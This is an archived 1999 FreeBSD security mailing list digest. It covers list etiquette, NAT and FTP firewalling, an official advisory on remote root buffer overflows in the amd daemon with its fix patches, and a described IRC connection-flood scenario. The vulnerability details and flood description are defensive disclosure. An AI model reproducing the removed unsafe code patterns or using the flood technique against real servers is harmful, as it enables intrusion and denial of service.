several other forms of communication. Consider me to be a poor biological predecessor to C3PO. > Regardless of why he did it, what DES did was drive just one more > wedge between the FreeBSD "haves", and the folks who'd like to learn > more about what I still feel is the best overall implementation of > Unix for servers (and arguably for desktop workstations). In the > process, he's destroying a lot of good work by people such as > yourself who would presumably attempt to close that knowledge gap in > some way other than slamming the questioner at each and every step. We have a way of moderating this, it's called the -questions mailing list. Unfortunately, we have a lot of users who think they are so important they can just jump right over the -questions mailing list and either go directly to hackers, or worse yet, cross post their questions to 3 or 4 or 5 different mailing lists. I fully realize there are times when you want to get a question answered as soon as possible, but it is rarely true that cross-posting your question to -stable, -questions, and -security is the best way to accomplish this. > I've known a lot of University professors like that. Regardless > of how much they know, they are unable or unwilling to communicate > that information in a manner which is useful and non-abusive to > anyone not already operating on or very near their level. This makes > life extremely (and unnecessarily) unpleasant for all the students > who are forced to endure them, and the grad students who have to work > even more closely with them. Many simply choose to go elsewhere. > > We'll never know how many Einsteins or Mother Theresas we'll > never have, because they never got the chance to properly discover > that side of themselves. None. If they were truly an Einstein or a Mother Theresa, they would persevere, not because they want to, but because they HAVE to. > > It seems highly likely that ridiculing those who not only took the time > > to respond to your question, but also to GIVE YOU THE SYSTEM IN THE FIRST > > PLACE is NOT a good strategy for getting more questions answered in the > > future. > > In the end we all die. What will we be remembered for? Who will > remember us that way? In the general case, the only important contribution we can leave to humanity is our DNA imprints on our children. That's why we call works like FreeBSD our "brainchildren," but it is a poor comparison at best. I think most of the discussions that fly back and forth here, mine included, would fare better if we all kept a certain amount of perspective here. > How many people will remember all the significant contributions > that DES has made to the history of FreeBSD and the good of freely > available OSes around the world, and how many will remember him for > precisely the sort of thing that got this whole thread started? > > Of the people who remember him each way, how many other people > will they pass on that memory to? How far will those passed on > memories keeping getting passed on? > > Myself, I'd like very much to remember DES as a key contributor > to what is still (for the moment, anyway) my favourite server OS, and > I would hope that one day I might actually eliminate enough of my > ignorance that I could possibly be capable of comprehending some of > the stuff that he might have to share. > > However, at the moment, this seems rather unlikely. > > > Having a sense of humor will certainly help. > > It's very hard to recognize humour when it's so well camoflaged as vitriol. I wasn't referring to DES's reply, which was really quite mild for him. I was referring to the reaction of two users to what he said, which was just as uncalled for and somewhat less wise in the long run. Without apologizing in any way for the high-brow and snotty tone of DES's reply, there were some real nuggets of wisdom in there any anyone who took the time to read it would have recognized that and acted upon it, rather than getting their hackles up and insulting him back. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 19:15:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id A1D161536D; Mon, 20 Sep 1999 19:15:34 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id UAA98556; Mon, 20 Sep 1999 20:15:32 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: (from imp@localhost) by harmony.village.org (8.9.3/8.8.3) id UAA22243; Mon, 20 Sep 1999 20:14:55 -0600 (MDT) Date: Mon, 20 Sep 1999 20:14:55 -0600 (MDT) Message-Id: <199909210214.UAA22243@harmony.village.org> From: FreeBSD Security Officer Subject: FreeBSD Security Advisory: FreeBSD-SA-99:06.amd Reply-To: security-officer@freebsd.org Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-99:06 Security Advisory FreeBSD, Inc. Topic: remote amd attack Category: core Module: kernel Announced: 1999-09-16 Affects: FreeBSD 3.2 (and earlier) FreeBSD-current before the correction date. FreeBSD 3.2-stable before the correction date. Corrected: FreeBSD-3.3 RELEASE FreeBSD-current as of September 7, 1999 FreeBSD-3.2-stable as of August 25, 1999 The FreeBSD-3.3-RC series of releases are not affected. FreeBSD only: NO Bugtraq Id: 614 (variation) CERT ID: CA-99.12 Patches: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-99:06/ I. Background The amd program allows for a very flexible array of remote and local file systems to be mounted automatically on an as needed basis. Amd is an optional untility that system administrators must explicitly enable. If amd is not enabled on your system, then your system is not vulnerable. II. Problem Description There are two buffer overflow vulnerabilities in the the amd daemon. III. Impact Remote users could execute arbitrary code as root in the amd daemon context. IV. Workaround The only way to avoid these problems are to upgrade or not run the amd daemon. That leaves disabling the amd deamon as your only workaround. V. Solution Upgrade your system to one that is listed above as having the problem resolved, or you may patch your present systems. To patch your present system apply the following patches to amd, rebuild, install and restart amd (or reboot). Patches for 3.2-stable and -current systems before the resolution date: Index: xutil.c =================================================================== RCS file: /home/ncvs/src/contrib/amd/libamu/xutil.c,v retrieving revision 1.1.1.3 retrieving revision 1.1.1.3.2.1 diff -u -r1.1.1.3 -r1.1.1.3.2.1 --- xutil.c 1999/01/13 19:20:33 1.1.1.3 +++ xutil.c 1999/08/25 18:59:39 1.1.1.3.2.1 @@ -272,16 +272,18 @@ /* * Take a log format string and expand occurrences of %m - * with the current error code taken from errno. + * with the current error code taken from errno. Make sure + * 'e' never gets longer than maxlen characters. */ static void -expand_error(char *f, char *e) +expand_error(char *f, char *e, int maxlen) { extern int sys_nerr; - char *p; + char *p, *q; int error = errno; + int len = 0; - for (p = f; (*e = *p); e++, p++) { + for (p = f, q = e; (*q = *p) && len < maxlen; len++, q++, p++) { if (p[0] == '%' && p[1] == 'm') { const char *errstr; if (error < 0 || error >= sys_nerr) @@ -289,13 +291,15 @@ else errstr = sys_errlist[error]; if (errstr) - strcpy(e, errstr); + strcpy(q, errstr); else - sprintf(e, "Error %d", error); - e += strlen(e) - 1; + sprintf(q, "Error %d", error); + len += strlen(q) - 1; + q += strlen(q) - 1; p++; } } + e[maxlen-1] = '\0'; /* null terminate, to be sure */ } @@ -401,9 +405,15 @@ checkup_mem(); #endif /* DEBUG_MEM */ - expand_error(fmt, efmt); + expand_error(fmt, efmt, 1024); + /* + * XXX: ptr is 1024 bytes long. It is possible to write into it + * more than 1024 bytes, if efmt is already large, and vargs expand + * as well. + */ vsprintf(ptr, efmt, vargs); + msg[1023] = '\0'; /* null terminate, to be sure */ ptr += strlen(ptr); if (ptr[-1] == '\n') Index: amq_subr.c =================================================================== RCS file: /home/imp/FreeBSD/CVS/src/contrib/amd/amd/amq_subr.c,v retrieving revision 1.3 retrieving revision 1.4 diff -u -r1.3 -r1.4 --- amq_subr.c 1999/01/13 20:03:54 1.3 +++ amq_subr.c 1999/09/07 23:07:03 1.4 @@ -204,11 +204,24 @@ int * amqproc_mount_1_svc(voidp argp, struct svc_req *rqstp) { - static int rc; - char *s = *(amq_string *) argp; + static int rc = EINVAL; + char s[AMQ_STRLEN]; char *cp; + char dq[20]; + struct sockaddr_in *sin; + + if ((sin = amu_svc_getcaller(rqstp->rq_xprt)) == NULL) { + plog(XLOG_ERROR, "amu_svc_getcaller returned NULL"); + return &rc; + } + + strncpy(s, *(amq_string *) argp, AMQ_STRLEN-1); + s[AMQ_STRLEN-1] = '\0'; /* null terminate, to be sure */ + plog(XLOG_ERROR, + "amq requested mount of %s from %s.%d", + s, inet_dquad(dq, sin->sin_addr.s_addr), + ntohs(sin->sin_port)); - plog(XLOG_INFO, "amq requested mount of %s", s); /* * Minimalist security check. */ ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org Security notifications: security-notifications@freebsd.org Security public discussion: freebsd-security@freebsd.org PGP Key: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/public_key.asc Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBN+aDyFUuHi5z0oilAQHyLQP/fohJFzI6h9g8ApbdjQJNu+sunEd7cehd IWuvFWuiTzRRqfj7tc9+Y7FEleFKv66WM98k9zBHzU8ZVzCQ5jlf1CcM1DegEqKc i8j71gpoKFQyrxsW3AdR2UESnUxYw8bDvimuVHyCVSvjrpvZ+5b5wXMqbvDNMo5I UgTaLUhzQEg= =0ohw -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 0: 7:39 1999 Delivered-To: freebsd-security@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.128.198]) by hub.freebsd.org (Postfix) with ESMTP id D2E2A14C0E; Tue, 21 Sep 1999 00:07:35 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from keep.lan.Awfulhak.org (root@localhost [127.0.0.1]) by storm.FreeBSD.org.uk (8.9.3/8.9.3) with ESMTP id IAA27477; Tue, 21 Sep 1999 08:07:34 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from keep.lan.Awfulhak.org (brian@localhost.lan.Awfulhak.org [127.0.0.1]) by keep.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id HAA00563; Tue, 21 Sep 1999 07:29:42 +0100 (BST) (envelope-from brian@keep.lan.Awfulhak.org) Message-Id: <199909210629.HAA00563@keep.lan.Awfulhak.org> X-Mailer: exmh version 2.0.2 2/24/98 To: Eivind Eklund Cc: Brett Glass , security@FreeBSD.ORG Subject: Re: Best way to do FTP with NAT and firewall? In-reply-to: Your message of "Mon, 20 Sep 1999 16:27:42 +0200." <19990920162742.A12619@bitbox.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 21 Sep 1999 07:29:40 +0100 From: Brian Somers Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > On Fri, Sep 17, 1999 at 09:16:11AM -0600, Brett Glass wrote: > > I've just set up a firewall for a client using ipfw and natd. Trouble is, his software seems to be particularly insistent on doing active, rather than passive, FTP. This poses a problem, of course, because a remote system can't open just data sockets to one behind the firewall due to NAT. > > > > I've worked with plenty of commercial firewalls that monitor FTP control connections and spoof the port number for the data sockets. SLiRP does it; so, apparently, does the pppd that comes with FreeBSD. But I can't find any documented way to do it with ipfw and natd. > > > > Are there undocumented commands to accomplish this? > > Using the hooks I added to libalias to accomplish this. That would, > however, require some small mods to the natd code (about 20-50 lines, > I guess). [.....] Something like src/lib/libalias/alias_ftp.c ? Am I missing something ? > Eivind. -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 0:19:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from www.svzserv.kemerovo.su (www.svzserv.kemerovo.su [194.58.85.161]) by hub.freebsd.org (Postfix) with ESMTP id 66FD91511E for ; Tue, 21 Sep 1999 00:19:08 -0700 (PDT) (envelope-from eugen@svzserv.kemerovo.su) Received: from svzserv.kemerovo.su (kost.svzserv.kemerovo.su [194.58.85.163]) by www.svzserv.kemerovo.su (8.9.2/8.9.2) with ESMTP id HAA25277 for ; Tue, 21 Sep 1999 07:19:00 GMT Message-ID: <37E73FCA.1DF0C8DF@svzserv.kemerovo.su> Date: Tue, 21 Sep 1999 15:20:26 +0700 From: Eugene Grosbein Organization: SVZSERV Co. X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: ru,en MIME-Version: 1.0 To: security@FreeBSD.ORG Subject: /usr/sbin/edquota says "Permission denied" if(getuid()) Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello! I have root-owned suid-marked CGI-BIN program that creates new users via /usr/sbin/pw. It also should set userquotas via /usr/sbin/edquota -p template_username -u new_username But when equota starts, getuid()==65534 and geteuid()==0 and edquota complains :( What is the reason using getuid() and not geteuid()? Eugene Grosbein To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 2:12:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 4E0ED154D0; Tue, 21 Sep 1999 02:12:24 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id LAA74967; Tue, 21 Sep 1999 11:12:04 +0200 (CEST) (envelope-from des) To: Wes Peters Cc: Brad Knowles , Luigi Rizzo , Dag-Erling Smorgrav , jcarlos@bahianet.com.br, stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br Subject: Re: Out of mbuf clusters References: <199909201247.OAA08309@labinfo.iet.unipi.it> <37E6A807.7E07D48A@softweyr.com> <37E6E32C.D6CC67C6@softweyr.com> From: Dag-Erling Smorgrav Date: 21 Sep 1999 11:12:03 +0200 In-Reply-To: Wes Peters's message of "Mon, 20 Sep 1999 19:45:16 -0600" Message-ID: Lines: 23 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Wes Peters writes: > Brad Knowles wrote: > > I disagree. I read what he wrote, and while those might be the > > necessary steps to run the world's largest IRC server, or the world's > > most secure, I think we can all agree that not everyone in the world > > needs to be a Superman in order to have an IRC server that doesn't > > spontaneously crash. > Right up until somebody launches a clone attack against you, which results > in your server rolling over and dying one way or another. Actually, clone attacks aren't very common because they're easy to foil (by setting up sufficiently restrictive connection classes). Floodinf, smurfing and SYN attacks are much more common. As has been pointed out on -security, FreeBSD may panic when subjected to a heavy SYN flood. > I wasn't referring to DES's reply, which was really quite mild for him. Hmpfs. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 3:28:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (Postfix) with ESMTP id 2735B14C3A for ; Tue, 21 Sep 1999 03:28:06 -0700 (PDT) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.3/8.9.3) with ESMTP id MAA25430; Tue, 21 Sep 1999 12:28:05 +0200 (CEST) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id MAA46089; Tue, 21 Sep 1999 12:28:05 +0200 (MET DST) Date: Tue, 21 Sep 1999 12:28:05 +0200 From: Eivind Eklund To: Brian Somers Cc: Brett Glass , security@FreeBSD.ORG Subject: Re: Best way to do FTP with NAT and firewall? Message-ID: <19990921122805.H12619@bitbox.follo.net> References: <19990920162742.A12619@bitbox.follo.net> <199909210629.HAA00563@keep.lan.Awfulhak.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.1i In-Reply-To: <199909210629.HAA00563@keep.lan.Awfulhak.org>; from Brian Somers on Tue, Sep 21, 1999 at 07:29:40AM +0100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Sep 21, 1999 at 07:29:40AM +0100, Brian Somers wrote: > > On Fri, Sep 17, 1999 at 09:16:11AM -0600, Brett Glass wrote: > > > I've just set up a firewall for a client using ipfw and natd. Trouble is, his software seems to be particularly insistent on doing active, rather than passive, FTP. This poses a problem, of course, because a remote system can't open just data sockets to one behind the firewall due to NAT. > > > > > > I've worked with plenty of commercial firewalls that monitor FTP control connections and spoof the port number for the data sockets. SLiRP does it; so, apparently, does the pppd that comes with FreeBSD. But I can't find any documented way to do it with ipfw and natd. > > > > > > Are there undocumented commands to accomplish this? > > > > Using the hooks I added to libalias to accomplish this. That would, > > however, require some small mods to the natd code (about 20-50 lines, > > I guess). > [.....] > > Something like src/lib/libalias/alias_ftp.c ? Am I missing > something ? I'm assuming he doesn't want to open his firewall in its entirety. The only way to avoid that is by only opening for those connections. The only way to do that is to hook into the NAT code. I have done that, and committed the code to FreeBSD, but none of the public FreeBSD tools has seen fit to use the hooks :-( Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 3:45:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (Postfix) with ESMTP id E0E93152C7 for ; Tue, 21 Sep 1999 03:45:30 -0700 (PDT) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.3/8.9.3) with ESMTP id MAA25723; Tue, 21 Sep 1999 12:45:29 +0200 (CEST) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id MAA46248; Tue, 21 Sep 1999 12:45:28 +0200 (MET DST) Date: Tue, 21 Sep 1999 12:45:28 +0200 From: Eivind Eklund To: John Heyer Cc: security@FreeBSD.ORG Subject: Re: port-blocking ipfw rules with NAT - necesary? Message-ID: <19990921124528.I12619@bitbox.follo.net> References: <19990920162742.A12619@bitbox.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.1i In-Reply-To: ; from John Heyer on Mon, Sep 20, 1999 at 04:13:41PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Sep 20, 1999 at 04:13:41PM -0500, John Heyer wrote: > > In the firewall section of the handbook, it recommends something like: > - Stop IP spoofing and RFC1918 networks on the outside interface > - Deny most (if not all) UDP traffic > - Protect TCP ports 1-1024,2000,2049,6000-6063 on the internal network > > These rules make sense, but I think they make the assumption the network > you're protecting is routable. If I'm running NAT and my internal network is > non-routable, do I really need to continue blocking ports? For example, > let's say someone was running an open relay mail server or vulnerable FTP > server - would it be possible for an intruder to someone access the > internal machine assuming I'm not using -redirect_port or > -redirect_address with natd? It shouldn't be - but it is always prudent to use several layers of defense. Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 4:31:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from wank.necropolis.org (wank.necropolis.org [207.246.128.93]) by hub.freebsd.org (Postfix) with ESMTP id 4DA3A14CF1 for ; Tue, 21 Sep 1999 04:31:11 -0700 (PDT) (envelope-from todd@flyingcroc.net) Received: from localhost (todd@localhost) by wank.necropolis.org (8.9.3/8.9.3) with ESMTP id EAA63149 for ; Tue, 21 Sep 1999 04:34:13 -0700 (PDT) (envelope-from todd@flyingcroc.net) X-Authentication-Warning: wank.necropolis.org: todd owned process doing -bs Date: Tue, 21 Sep 1999 04:34:13 -0700 (PDT) From: Todd Backman X-Sender: todd@wank.necropolis.org To: freebsd-security@freebsd.org Subject: FreeBSD Security Advisory: FreeBSD-SA-99:06.amd (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Would someone be so kind as to tell me how to patch amd for this exploit? I that since the staement said "patches" that there are two here. I attempted to: patch < amdpatch1 in /usr/sbin/ (after backing up amd of course) with errors and patch < amdpatch2 in /usr/sbin/ with errors. Am I patching the correct file? Does the patch start at the "Index" line or the "/*" line? Sorry for the bother and thanks in advance. - Todd ***amdpatch1*** Index: xutil.c =================================================================== RCS file: /home/ncvs/src/contrib/amd/libamu/xutil.c,v retrieving revision 1.1.1.3 retrieving revision 1.1.1.3.2.1 diff -u -r1.1.1.3 -r1.1.1.3.2.1 --- xutil.c 1999/01/13 19:20:33 1.1.1.3 +++ xutil.c 1999/08/25 18:59:39 1.1.1.3.2.1 @@ -272,16 +272,18 @@ /* * Take a log format string and expand occurrences of %m - * with the current error code taken from errno. + * with the current error code taken from errno. Make sure + * 'e' never gets longer than maxlen characters. */ static void -expand_error(char *f, char *e) +expand_error(char *f, char *e, int maxlen) { extern int sys_nerr; - char *p; + char *p, *q; int error = errno; + int len = 0; - for (p = f; (*e = *p); e++, p++) { + for (p = f, q = e; (*q = *p) && len < maxlen; len++, q++, p++) { if (p[0] == '%' && p[1] == 'm') { const char *errstr; if (error < 0 || error >= sys_nerr) @@ -289,13 +291,15 @@ else errstr = sys_errlist[error]; if (errstr) - strcpy(e, errstr); + strcpy(q, errstr); else - sprintf(e, "Error %d", error); - e += strlen(e) - 1; + sprintf(q, "Error %d", error); + len += strlen(q) - 1; + q += strlen(q) - 1; p++; } } + e[maxlen-1] = '\0'; /* null terminate, to be sure */ } @@ -401,9 +405,15 @@ checkup_mem(); #endif /* DEBUG_MEM */ - expand_error(fmt, efmt); + expand_error(fmt, efmt, 1024); + /* + * XXX: ptr is 1024 bytes long. It is possible to write into it + * more than 1024 bytes, if efmt is already large, and vargs expand + * as well. + */ vsprintf(ptr, efmt, vargs); + msg[1023] = '\0'; /* null terminate, to be sure */ ptr += strlen(ptr); if (ptr[-1] == '\n') ***amdpatch2*** Index: amq_subr.c =================================================================== RCS file: /home/imp/FreeBSD/CVS/src/contrib/amd/amd/amq_subr.c,v retrieving revision 1.3 retrieving revision 1.4 diff -u -r1.3 -r1.4 --- amq_subr.c 1999/01/13 20:03:54 1.3 +++ amq_subr.c 1999/09/07 23:07:03 1.4 @@ -204,11 +204,24 @@ int * amqproc_mount_1_svc(voidp argp, struct svc_req *rqstp) { - static int rc; - char *s = *(amq_string *) argp; + static int rc = EINVAL; + char s[AMQ_STRLEN]; char *cp; + char dq[20]; + struct sockaddr_in *sin; + + if ((sin = amu_svc_getcaller(rqstp->rq_xprt)) == NULL) { + plog(XLOG_ERROR, "amu_svc_getcaller returned NULL"); + return &rc; + } + + strncpy(s, *(amq_string *) argp, AMQ_STRLEN-1); + s[AMQ_STRLEN-1] = '\0'; /* null terminate, to be sure */ + plog(XLOG_ERROR, + "amq requested mount of %s from %s.%d", + s, inet_dquad(dq, sin->sin_addr.s_addr), + ntohs(sin->sin_port)); - plog(XLOG_INFO, "amq requested mount of %s", s); /* * Minimalist security check. */ ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org Security notifications: security-notifications@freebsd.org Security public discussion: freebsd-security@freebsd.org PGP Key: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/public_key.asc Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBN+aDyFUuHi5z0oilAQHyLQP/fohJFzI6h9g8ApbdjQJNu+sunEd7cehd IWuvFWuiTzRRqfj7tc9+Y7FEleFKv66WM98k9zBHzU8ZVzCQ5jlf1CcM1DegEqKc i8j71gpoKFQyrxsW3AdR2UESnUxYw8bDvimuVHyCVSvjrpvZ+5b5wXMqbvDNMo5I UgTaLUhzQEg= =0ohw -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 5: 1:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from mpp.pro-ns.net (pppdsle45.mpls.uswest.net [216.160.23.45]) by hub.freebsd.org (Postfix) with ESMTP id 3B0A31501C; Tue, 21 Sep 1999 05:01:13 -0700 (PDT) (envelope-from mpp@mpp.pro-ns.net) Received: (from mpp@localhost) by mpp.pro-ns.net (8.9.3/8.9.3) id GAA10330; Tue, 21 Sep 1999 06:59:27 -0500 (CDT) (envelope-from mpp) From: Mike Pritchard Message-Id: <199909211159.GAA10330@mpp.pro-ns.net> Subject: Re: Documentation of security features In-Reply-To: <199909191824.LAA55646@gndrsh.dnsmgr.net> from "Rodney W. Grimes" at "Sep 19, 1999 11:24:57 am" To: freebsd@gndrsh.dnsmgr.net (Rodney W. Grimes) Date: Tue, 21 Sep 1999 06:59:27 -0500 (CDT) Cc: brett@lariat.org (Brett Glass), jobe@attrition.org (Jobe), nbm@mithrandr.moria.org (Neil Blakey-Milner), dillon@apollo.backplane.com (Matthew Dillon), freebsd-security@FreeBSD.ORG, nik@FreeBSD.ORG (Nik Clayton) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > At 10:31 AM 9/19/99 -0600, Jobe wrote: > > > Now there is one more problem, and that is what I think is really > going on here with the person reporting non-linked files. They are > looking in /usr/share/man/cat* at the formatted cache, now that can > grow as man(1)'s cache can't tell if the source files are hard linked > and generates an individual formatted copy for each man entry, even > if it already has it filed under another name. I forgot about that point. I've been thinking about re-working man and whatis to try and eliminate the need for MLINKS. Everything that man & whatis require SHOULD be in the actual man page. There is no reason we need to use the file system as a database. .../man/cat* is another good example of this. (Sheldon, I will get back to you on this in the next few days, I promose :-) > > >People need to start posting more meaningful things, and stop > > >inventing reasons to post to this mailing list. > > > > Documenting key security options is meaningful, IMHO. If nothing > > else, we should add links for securelevel and similar things that > > users are not finding. > > Then go make ptx(info) produce the full blown permuted index again > and be done with it. That is the standard unix tool for finding > just about everything about anything in the manual pages. It has > been missing for far to long to ignore any longer!! I should have some time this week, so I'll try and look into the permuted index. It should be possible to make that into something "man" can digest. E.g. "man index". -Mike -- Mike Pritchard mpp@FreeBSD.org or mpp@mpp.pro-ns.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 6:33:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from wank.necropolis.org (wank.necropolis.org [207.246.128.93]) by hub.freebsd.org (Postfix) with ESMTP id 4BF7714CB1 for ; Tue, 21 Sep 1999 06:33:25 -0700 (PDT) (envelope-from todd@flyingcroc.net) Received: from localhost (todd@localhost) by wank.necropolis.org (8.9.3/8.9.3) with ESMTP id GAA65136; Tue, 21 Sep 1999 06:36:26 -0700 (PDT) (envelope-from todd@flyingcroc.net) X-Authentication-Warning: wank.necropolis.org: todd owned process doing -bs Date: Tue, 21 Sep 1999 06:36:26 -0700 (PDT) From: Todd Backman X-Sender: todd@wank.necropolis.org To: Todd Backman Cc: freebsd-security@FreeBSD.ORG Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-99:06.amd (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thanks to all who replied. Seeing as I did not have the src for this I have taken the binary from a 3.3R machine and replaced the amd on my 3.2R machine with no problems. - Todd On Tue, 21 Sep 1999, Todd Backman wrote: > > Would someone be so kind as to tell me how to patch amd for this exploit? > I that since the staement said "patches" that there are two > here. I attempted to: patch < amdpatch1 in /usr/sbin/ (after backing up > amd of course) with errors and patch < amdpatch2 in /usr/sbin/ with > errors. Am I patching the correct file? Does the patch start at the > "Index" line or the "/*" line? > > Sorry for the bother and thanks in advance. > > - Todd > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 6:59:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id ABC7114E96; Tue, 21 Sep 1999 06:59:16 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id PAA76021; Tue, 21 Sep 1999 15:58:44 +0200 (CEST) (envelope-from des) To: Kip Macy Cc: Dag-Erling Smorgrav , Joao Carlos , stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br Subject: Re: Out of mbuf clusters References: From: Dag-Erling Smorgrav Date: 21 Sep 1999 15:58:43 +0200 In-Reply-To: Kip Macy's message of "Mon, 20 Sep 1999 11:47:54 -0700 (PDT)" Message-ID: Lines: 41 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Kip Macy writes: > This is in no way a rant against FreeBSD, but rather a rant against the > attitude that one needs to know about OS internals to run a lightweight > server. Calling what he did to that box "running a lightweight server" is a very very wide stretch of imagination. I haven't seen his CLONE program and therefore can't speak with 100% assurance, but I've run similar experiments against my own servers, so I think I'm entitled to make an educated guess about the behaviour of CLONE. It simulates a worst-case scenario for an IRC server: open hundreds of connections, log on, join a channel, but don't consume the data the server sends. This fills up the server's send queues and exhausts its mbuf pool. Memory consumption is a quadratic function of the number of clones (linear if you just connect without joining a channel). The worst thing about CLONE is that it's neither a realistic simulation of normal everyday IRC traffic (because real IRC clients consume data almost as soon as it is sent, and therefore do not fill up the server's send queues), nor of a typical attack against an IRC server (because a properly-configured IRC server does not allow a large number of connections from the same host, nor does it allow the send queues to fill up, and is therefore practically immune to this kind of attack). This is what mbuf usage looks like on a real-world IRC server with 1800 clients: root@irc ~# netstat -m 2859/9376 mbufs in use: 947 mbufs allocated to data 1912 mbufs allocated to packet headers 